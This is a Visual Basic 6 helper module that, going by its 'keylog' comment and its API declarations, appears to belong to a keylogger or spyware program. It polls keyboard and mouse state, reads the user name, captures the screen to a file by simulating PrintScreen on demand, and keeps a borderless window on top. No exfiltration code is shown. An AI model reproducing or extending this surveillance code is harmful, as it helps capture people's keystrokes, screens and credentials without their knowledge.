Attribute VB_Name = "ModFunctions"
Option Explicit

'keylog
Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
Private Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long



'Picture
Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

'TopMOst
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Public Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

'KEYS
Public Const VK_LBUTTON = &H1
Public Const VK_RBUTTON = &H2

Public Sub MakeTopMost(handle As Long)
SetWindowPos handle, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

Public Sub savescreenshoot(ByVal file As String)
On Error Resume Next
DoEvents
Call keybd_event(vbKeySnapshot, 20, 20, 20)
DoEvents

SavePicture Clipboard.GetData(vbCFBitmap), file
End Sub

Public Function isleftmousepressed() As Boolean
isleftmousepressed = Getasynckeystate(VK_LBUTTON)
End Function

Public Function isrightmousepressed() As Boolean
isrightmousepressed = Getasynckeystate(VK_RBUTTON)
End Function

Public Sub SetZeroBorder(Frm As Form)
Dim hRgn As Long
Dim fScaleMode As Long
Dim ScrX As Long, ScrY As Long
Dim fLeft As Long, fTop As Long
Dim fBottom As Long, fRight As Long
    ScrX = Screen.TwipsPerPixelX
    ScrY = Screen.TwipsPerPixelY
    With Frm
        fScaleMode = .ScaleMode
        .ScaleMode = 1
        fLeft = (.Width - .ScaleWidth) / 2 / ScrX
        fTop = (.Height - .ScaleHeight) / ScrY - fLeft
        fRight = .Width / ScrX - fLeft
        fBottom = .Height / ScrY - fLeft
        hRgn = CreateRectRgn(fLeft, fTop, fRight, fBottom)
        SetWindowRgn .hWnd, hRgn, True
        .ScaleMode = fScaleMode
        DeleteObject hRgn
    End With
End Sub


